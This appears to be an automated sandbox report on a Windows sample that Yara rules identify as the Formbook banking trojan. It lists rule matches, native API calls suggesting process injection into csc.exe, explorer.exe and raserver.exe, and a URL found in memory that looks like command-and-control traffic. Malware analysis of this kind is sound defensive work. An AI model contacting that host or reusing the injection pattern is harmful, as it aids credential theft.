Source: explorer.exe, 00000004.00000002.11886221151.00000000091C0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.6847520157.00000000091C0000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com/en-us/weather/hourlyforecast/in-Santa-Clara%2CCalifornia?loc=eyJsIjoiU2FudGEgQ2x
Source: explorer.exe, 00000004.00000002.11899785830.000000001444F000.00000004.80000000.00040000.00000000.sdmp, raserver.exe, 00000005.00000002.11883241933.0000000005A3F000.00000004.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.webuyandsellpa.com/md02/?all=e9dCEAefob0qfIp2qzYjc8hnpuRDR3iBtFDetlkNhl3JkGKef1d6ICtGRMu

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D20115 SysStringLen,CryptDestroyKey,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,SysStringLen,SysStringLen,CryptImportKey,free,SysStringLen,CryptDecrypt,SysAllocStringByteLen,SysFreeString,free,		5_2_00D20115
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00D20383 SysStringLen,CryptImportKey,GetLastError,CryptGenKey,GetLastError,CryptEncrypt,GetLastError,free,malloc,memset,memcpy,CryptEncrypt,GetLastError,free,SysFreeString,SysFreeString,CryptDestroyKey,CryptDestroyKey,SysFreeString,		5_2_00D20383

System Summary

Source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.csc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 3.2.csc.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.kHslwiV2w6.exe.1ed0971ad88.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0.2.kHslwiV2w6.exe.1ed0958d6f0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.6906080166.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.6908193624.0000000005F80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.11880642057.0000000000C50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000003.00000002.6907188311.0000000005BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.6838996006.000001ED09400000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: kHslwiV2w6.exe PID: 7164, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: csc.exe PID: 1408, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: raserver.exe PID: 6624, type: MEMORYSTR	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041A360 NtCreateFile,	3_2_0041A360
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041A410 NtReadFile,	3_2_0041A410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041A490 NtClose,	3_2_0041A490
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041A540 NtAllocateVirtualMemory,	3_2_0041A540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041A35B NtCreateFile,	3_2_0041A35B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041A3B2 NtCreateFile,	3_2_0041A3B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041A40A NtReadFile,	3_2_0041A40A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_0041A48B NtClose,	3_2_0041A48B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	3_2_05CA2DC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2DA0 NtReadVirtualMemory,LdrInitializeThunk,	3_2_05CA2DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2D10 NtQuerySystemInformation,LdrInitializeThunk,	3_2_05CA2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2CF0 NtDelayExecution,LdrInitializeThunk,	3_2_05CA2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2C50 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_05CA2C50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2C30 NtMapViewOfSection,LdrInitializeThunk,	3_2_05CA2C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2F00 NtCreateFile,LdrInitializeThunk,	3_2_05CA2F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2ED0 NtResumeThread,LdrInitializeThunk,	3_2_05CA2ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2EB0 NtProtectVirtualMemory,LdrInitializeThunk,	3_2_05CA2EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2E50 NtCreateSection,LdrInitializeThunk,	3_2_05CA2E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA29F0 NtReadFile,LdrInitializeThunk,	3_2_05CA29F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2BC0 NtQueryInformationToken,LdrInitializeThunk,	3_2_05CA2BC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2B90 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_05CA2B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2B10 NtAllocateVirtualMemory,LdrInitializeThunk,	3_2_05CA2B10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2A80 NtClose,LdrInitializeThunk,	3_2_05CA2A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA4570 NtSuspendThread,	3_2_05CA4570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA34E0 NtCreateMutant,	3_2_05CA34E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA4260 NtSetContextThread,	3_2_05CA4260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2D50 NtWriteVirtualMemory,	3_2_05CA2D50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2CD0 NtEnumerateKey,	3_2_05CA2CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA3C90 NtOpenThread,	3_2_05CA3C90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2C10 NtOpenProcess,	3_2_05CA2C10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2C20 NtSetInformationFile,	3_2_05CA2C20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA3C30 NtOpenProcessToken,	3_2_05CA3C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2FB0 NtSetValueKey,	3_2_05CA2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2F30 NtOpenDirectoryObject,	3_2_05CA2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2EC0 NtQuerySection,	3_2_05CA2EC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2E80 NtCreateProcessEx,	3_2_05CA2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2E00 NtQueueApcThread,	3_2_05CA2E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA29D0 NtWaitForSingleObject,	3_2_05CA29D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA38D0 NtGetContextThread,	3_2_05CA38D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2BE0 NtQueryVirtualMemory,	3_2_05CA2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2B80 NtCreateKey,	3_2_05CA2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2B00 NtQueryValueKey,	3_2_05CA2B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2B20 NtQueryInformationProcess,	3_2_05CA2B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Code function: 3_2_05CA2AC0 NtEnumerateValueKey,	3_2_05CA2AC0
Source: C:\Windows\explorer.exe	Code function: 4_2_0287EE12 NtProtectVirtualMemory,	4_2_0287EE12
Source: C:\Windows\explorer.exe	Code function: 4_2_0287D232 NtCreateFile,	4_2_0287D232
Source: C:\Windows\explorer.exe	Code function: 4_2_0287EE0A NtProtectVirtualMemory,	4_2_0287EE0A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD34E0 NtCreateMutant,LdrInitializeThunk,	5_2_04FD34E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2CF0 NtDelayExecution,LdrInitializeThunk,	5_2_04FD2CF0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2C30 NtMapViewOfSection,LdrInitializeThunk,	5_2_04FD2C30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	5_2_04FD2DC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2D10 NtQuerySystemInformation,LdrInitializeThunk,	5_2_04FD2D10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2E50 NtCreateSection,LdrInitializeThunk,	5_2_04FD2E50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2F00 NtCreateFile,LdrInitializeThunk,	5_2_04FD2F00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD29F0 NtReadFile,LdrInitializeThunk,	5_2_04FD29F0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2A80 NtClose,LdrInitializeThunk,	5_2_04FD2A80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2BC0 NtQueryInformationToken,LdrInitializeThunk,	5_2_04FD2BC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2B90 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_04FD2B90
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2B80 NtCreateKey,LdrInitializeThunk,	5_2_04FD2B80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2B10 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_04FD2B10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2B00 NtQueryValueKey,LdrInitializeThunk,	5_2_04FD2B00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD4570 NtSuspendThread,	5_2_04FD4570
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD4260 NtSetContextThread,	5_2_04FD4260
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2CD0 NtEnumerateKey,	5_2_04FD2CD0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD3C90 NtOpenThread,	5_2_04FD3C90
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2C50 NtUnmapViewOfSection,	5_2_04FD2C50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD3C30 NtOpenProcessToken,	5_2_04FD3C30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2C20 NtSetInformationFile,	5_2_04FD2C20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2C10 NtOpenProcess,	5_2_04FD2C10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2DA0 NtReadVirtualMemory,	5_2_04FD2DA0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2D50 NtWriteVirtualMemory,	5_2_04FD2D50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2ED0 NtResumeThread,	5_2_04FD2ED0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2EC0 NtQuerySection,	5_2_04FD2EC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2EB0 NtProtectVirtualMemory,	5_2_04FD2EB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2E80 NtCreateProcessEx,	5_2_04FD2E80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2E00 NtQueueApcThread,	5_2_04FD2E00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2FB0 NtSetValueKey,	5_2_04FD2FB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2F30 NtOpenDirectoryObject,	5_2_04FD2F30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD38D0 NtGetContextThread,	5_2_04FD38D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD29D0 NtWaitForSingleObject,	5_2_04FD29D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2AC0 NtEnumerateValueKey,	5_2_04FD2AC0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2AA0 NtQueryInformationFile,	5_2_04FD2AA0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2A10 NtWriteFile,	5_2_04FD2A10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2BE0 NtQueryVirtualMemory,	5_2_04FD2BE0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_04FD2B20 NtQueryInformationProcess,	5_2_04FD2B20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6A360 NtCreateFile,	5_2_00C6A360
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6A490 NtClose,	5_2_00C6A490
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6A410 NtReadFile,	5_2_00C6A410
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6A540 NtAllocateVirtualMemory,	5_2_00C6A540
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6A3B2 NtCreateFile,	5_2_00C6A3B2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6A35B NtCreateFile,	5_2_00C6A35B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6A48B NtClose,	5_2_00C6A48B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_00C6A40A NtReadFile,	5_2_00C6A40A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052BA036 NtQueryInformationProcess,NtSuspendThread,NtSetContextThread,NtQueueApcThread,NtResumeThread,	5_2_052BA036
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052B9BAF NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,	5_2_052B9BAF
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052BA042 NtQueryInformationProcess,	5_2_052BA042
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 5_2_052B9BB2 NtCreateSection,NtMapViewOfSection,NtMapViewOfSection,	5_2_052B9BB2

Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5CDFD0	0_2_00007FF72F5CDFD0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D0C50	0_2_00007FF72F5D0C50
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C8830	0_2_00007FF72F5C8830
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D88D9	0_2_00007FF72F5D88D9
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D2370	0_2_00007FF72F5D2370
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5B9340	0_2_00007FF72F5B9340
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5CD16A	0_2_00007FF72F5CD16A
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F6700E0	0_2_00007FF72F6700E0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5B80D0	0_2_00007FF72F5B80D0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D3F60	0_2_00007FF72F5D3F60
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5BEFE0	0_2_00007FF72F5BEFE0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DBEA0	0_2_00007FF72F5DBEA0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C2D30	0_2_00007FF72F5C2D30
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5CFDD0	0_2_00007FF72F5CFDD0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D7C79	0_2_00007FF72F5D7C79
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D5C20	0_2_00007FF72F5D5C20
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C4CD9	0_2_00007FF72F5C4CD9
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5CFB40	0_2_00007FF72F5CFB40
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DBBA0	0_2_00007FF72F5DBBA0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F667BA0	0_2_00007FF72F667BA0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5E4A40	0_2_00007FF72F5E4A40
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5A6A50	0_2_00007FF72F5A6A50
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5B6A50	0_2_00007FF72F5B6A50
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C9A50	0_2_00007FF72F5C9A50
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F662AC0	0_2_00007FF72F662AC0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DF960	0_2_00007FF72F5DF960
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5B1A00	0_2_00007FF72F5B1A00
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D99C3	0_2_00007FF72F5D99C3
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5CA850	0_2_00007FF72F5CA850
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F601910	0_2_00007FF72F601910
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5BE8A0	0_2_00007FF72F5BE8A0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5AA8B0	0_2_00007FF72F5AA8B0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5B2750	0_2_00007FF72F5B2750
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DC800	0_2_00007FF72F5DC800
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C67F0	0_2_00007FF72F5C67F0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DA7B0	0_2_00007FF72F5DA7B0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C3640	0_2_00007FF72F5C3640
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5CB6B0	0_2_00007FF72F5CB6B0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DE540	0_2_00007FF72F5DE540
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C1520	0_2_00007FF72F5C1520
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C6610	0_2_00007FF72F5C6610
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D35C0	0_2_00007FF72F5D35C0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F653480	0_2_00007FF72F653480
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5B0470	0_2_00007FF72F5B0470
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D1470	0_2_00007FF72F5D1470
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5CA420	0_2_00007FF72F5CA420
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5A9430	0_2_00007FF72F5A9430
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DB4F0	0_2_00007FF72F5DB4F0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C44D0	0_2_00007FF72F5C44D0
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5D4390	0_2_00007FF72F5D4390
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5C0360	0_2_00007FF72F5C0360
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5DD320	0_2_00007FF72F5DD320
Source: C:\Users\user\Desktop\kHslwiV2w6.exe	Code function: 0_2_00007FF72F5A83C4	0_2_00007FF72F5A83C4
